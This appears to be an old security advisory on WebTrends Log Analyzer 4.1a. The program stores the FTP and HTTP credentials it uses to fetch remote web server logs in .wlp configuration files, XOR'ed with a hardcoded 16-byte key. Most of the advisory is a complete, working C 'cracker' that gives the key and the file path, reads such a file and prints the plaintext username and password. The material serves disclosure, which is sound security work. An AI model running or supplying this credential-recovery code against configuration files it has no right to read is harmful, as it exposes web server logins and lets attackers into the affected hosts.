COMMAND

    WebTrends Log Analyzer

SYSTEMS AFFECTED

    Systems using WebTrends Log Analyzer

PROBLEM

    Chris  Wilson  found  following.    The  WebTrends  Log   Analyzer
    (http://www.webtrends.com/)  is  a  reporting  tool  to  allow web
    admins to generate website usage reports from web server logfiles.
    The tool is able to retrieve logfiles remotely via HTTP or FTP  to
    do the reporting.

    The  problem  is  that  any  FTP  and  HTTP  username and password
    information  used  to  access  the  web  server's  log  files   is
    insecurely  stored  in  configuration  files.   Specifically,  the
    information  is  XOR'ed  with  a  hardcoded  16-byte  key.  If the
    username  and/or  password  exceed  16  characters,  the key wraps
    around and is  reused.  What  makes the issue  worse is, in  using
    FTP or HTTP where a  username and password are required,  there is
    no option in the program  to *NOT* save the username  and password
    information.   If  you  leave   the  password  field  empty,   the
    connection to the web server fails.

    Granted, this vulnerability  is only an  issue if an  unauthorized
    user  can  access  the  configuration  files for the Log Analyzer.
    But,  if  the  software  is  put  on  a  fileserver,  anyone  with
    fileserver access is (by  default) able to read  the configuration
    files, making  the web  server's host  vulnerable.   The following
    simple little C program will take the data file name and pull  out
    the username/password information.

    /*
     *  WebTrends data file username/password cracker
     *
     *  The WebTrends Log Analyzer is a reporting tool to allow web admins
     *  to generate website usage reports from server logfiles.  The Analyzer
     *  is able to retrieve logfiles remotely via HTTP or FTP to do the
     *  reporting.  Username and password information for the remote FTP server
     *  or secure HTTP server access is stored in a file with a ".wlp" extension
     *  in the directory <WebTrends_base_dir>\wtm_log\datfiles.  This file looks
     *  basically like a Windows "ini" file, and contains information about the
     *  "Web Log Profile" configured in the Log Analyzer software.
     *
     *  The username and password strings are "encrypted" with a simple XOR cipher
     *  using a 16-byte key (0x1206f0c3903d0328e023ab00912feabc).  If the username
     *  and/or password exceed 16 characters, the key wraps around and is reused.
     *
     *  The program was written and compiled on Solaris 2.5.1, but should work
     *  on any platform (UN*X or Windows) where the offset returned by ftell() is
     *  in bytes.
     *
     *  Disclaimer:  This program and the information and algorithms contained
     *               within it are for educational purposes only!  Neither I nor
     *               Harris Corporation are responsible for how it is used or
     *               events resulting from its use.
     *
     *  You can do what you want with this code as long as this header block
     *  remains intact.
     *
     *  To compile:   gcc -o blah main.c
     *
     *  To run:       blah  (for all you non-coders out there....)
     *
     *  Note:  This was tested against WebTrends Log Analyzer version 4.1a,
     *         Build Date 3/24/1998, Build Number 1026
     *
     *  By:  Christopher Wilson (chris.wilson@harris.com) on 05/21/1998
     *
     */


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    int main ()
      {
      char filename[FILENAME_MAX];
      FILE *ifp;
      long len;
      unsigned char *file_data = 0;
      unsigned char *token = 0;
      unsigned char line_sep[3] = { 0x0a, 0x0d, 0x00 };

      /* get the data file name */
      printf("Enter path to WebTrends .wlp file:\n");
      printf("(hint:  try <WebTrends_base_dir>\\wtm_log\\datfiles\\*.wlp):  ");

      fgets(filename, sizeof(filename), stdin);

      if (filename[strlen(filename) - 1] == '\n')
        {
        filename[strlen(filename) - 1] = 0;
        }

      if ((ifp = fopen(filename, "rb")) == 0)
        {
        fprintf(stderr, "*** Error opening file '%s'.  Exiting...\n", filename);
        return(1);
        }

      /* figure out the size of the file and malloc space to hold its data */
      if (fseek(ifp, 0, SEEK_END) == -1)
        {
        fprintf(stderr, "*** Error determining file size for file '%s'.  Exiting...\n", filename);
        return(1);
        }

      len = ftell(ifp);
      rewind(ifp);

      file_data = (unsigned char *)malloc(len * sizeof(unsigned char));

      /* now read it in */
      if (fread(file_data, sizeof(unsigned char), len, ifp) == 0)
        {
        perror("Error reading file");
        }

      /*
       * process each line of the file, looking for the lines that start with
       * "LogFileUsername" or "LogFilePassword".  These are the ones to crack.
       */
      token = (unsigned char *)strtok(file_data, line_sep);
      while (token != 0)
        {
        if ((strncmp(token, "LogFileUsername", strlen("LogFileUsername")) == 0) ||
            (strncmp(token, "LogFilePassword", strlen("LogFilePassword")) == 0))
          {
          /* found a relevant line */
          unsigned char *encrypt_start = (unsigned char *)strchr(token, '=') + 1;
          if (encrypt_start == (unsigned char *)1)
            {
            fprintf(stderr, "*** Log file corrupted, reading line that says:\n%s\n",
                    token);
            }
          else
            {
            /* this is the XOR cipher's 16-byte key (duh) */
            unsigned char key[16] = { 0x12, 0x06, 0xf0, 0xc3,
                                      0x90, 0x3d, 0x03, 0x28,
                                      0xe0, 0x23, 0xab, 0x00,
                                      0x91, 0x2f, 0xea, 0xbc };
            char label[16];
            int count = 0;

            /*
             * this is just so we can label the output as "Username" or
             * "Password".
             */
            memset(label, 0, sizeof(label));
            strncpy(label, token, 15);
            printf("%s = '", label);

            /* now let's "decrypt" the bytes of the username/password */
            while (encrypt_start[count] != 0)
              {
              printf("%c", encrypt_start[count] ^ key[count % 16]);
              count++;
              }
            printf("' (without the quotes ('))\n");
            }
          }
        token = (unsigned char *)strtok(0, line_sep);
        }
      free(file_data);
      return(0);
      }

SOLUTION

    WebTrends was contacted about the  vulnerability.  If you use  the
    WebTrends Log Analyzer, the only recommended workaround is to  not
    use  its  remote  connection  capabilities  where  a  username and
    password are required.